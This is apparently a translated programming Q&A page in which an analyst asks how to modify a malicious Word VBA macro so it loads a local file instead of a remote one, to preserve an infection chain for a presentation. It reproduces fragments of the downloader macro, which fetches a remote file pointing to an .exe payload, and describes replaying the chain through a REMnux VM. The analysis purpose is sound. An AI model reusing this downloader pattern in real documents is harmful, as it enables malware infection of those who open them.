如何修改单词宏.response而不是使用本地文件?

时间:2015-08-11 22:58:47

标签: vba

我试图为演示文稿保留一个支持恶意宏的文档感染链。由于URL往往很快就会消失,我已经在本地保存了所有文件,并且我正在尝试修改宏代码以使用本地文件而不是基于URL的响应对象,我就是这样做的。遇到一些问题。

原始代码看起来像这样(我编写了一些函数和变量名称,比我正在处理的混淆垃圾更有意义,但名称可能对其功能不准确)< / p>

CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
  Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
  fileObject.Open GET, URL
  fileObject.Send ( VariableIcantRembmer )
  AAHQJD = ThisDocument.FileProcessFunction(fileObject)

Public Function FileProcessFunction(a As Object)
  FileProcessFunction = (a.responsetext)
End Function

我已将其修改为更像这样

CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set fileObject = fso.OpenTextFile(URL)
  AAHQJD = ThisDocument.FileProcessFunction(fileObject)

Public Function FileProcessFunction(a As Object)
  Do Until a.AtEndOfStream
    FileProcessFunction = FileProcessFunction + a.readline
  Loop
End Function

但这会导致程序稍后出现溢出,并且不会保留文件的换行符。在我刚做FileProcessFunction = a.readline之前,但显然只返回最后一行。我不知道我是否需要返回字符(我认为我这样做),并且我相当肯定的FileProcessFunction也用于获取.exe文件,该文件不能使用a.readline,我很确定。我最后一次介绍它,从本地.exe拉出的所有内容都是MZ标题,没有别的。

如何以能够正确模仿URL请求的a.responsetext属性的方式处理本地文件对象?

2 个答案:

答案 0 :(得分:0)

不确定你真正想要的是什么......

Public Function FileProcessFunction(a As Object)  
    FileProcessFunction = a.readall()  
End Function

答案 1 :(得分:0)

我弄清楚问题是什么。我相对确定我想要做的事情实际上会有效,但是我将宏指向.exe文件而不是带有所述.exe文件下载链接的文本文件。该宏期待文本文件带有链接。

我实现的修复程序,而不是尝试使用本地文件,是在主机上使用Remnux VM,只使用python -m SimpleHTTPServer托管文件。然后我只是为创建对象时设置一个断点,并操纵locals指向我的Remnux机器上的文件,而不是它实际编码的URI。此外,将文本文件中的链接设置为Remnux计算机,而不是dropbox。工作就像一个魅力。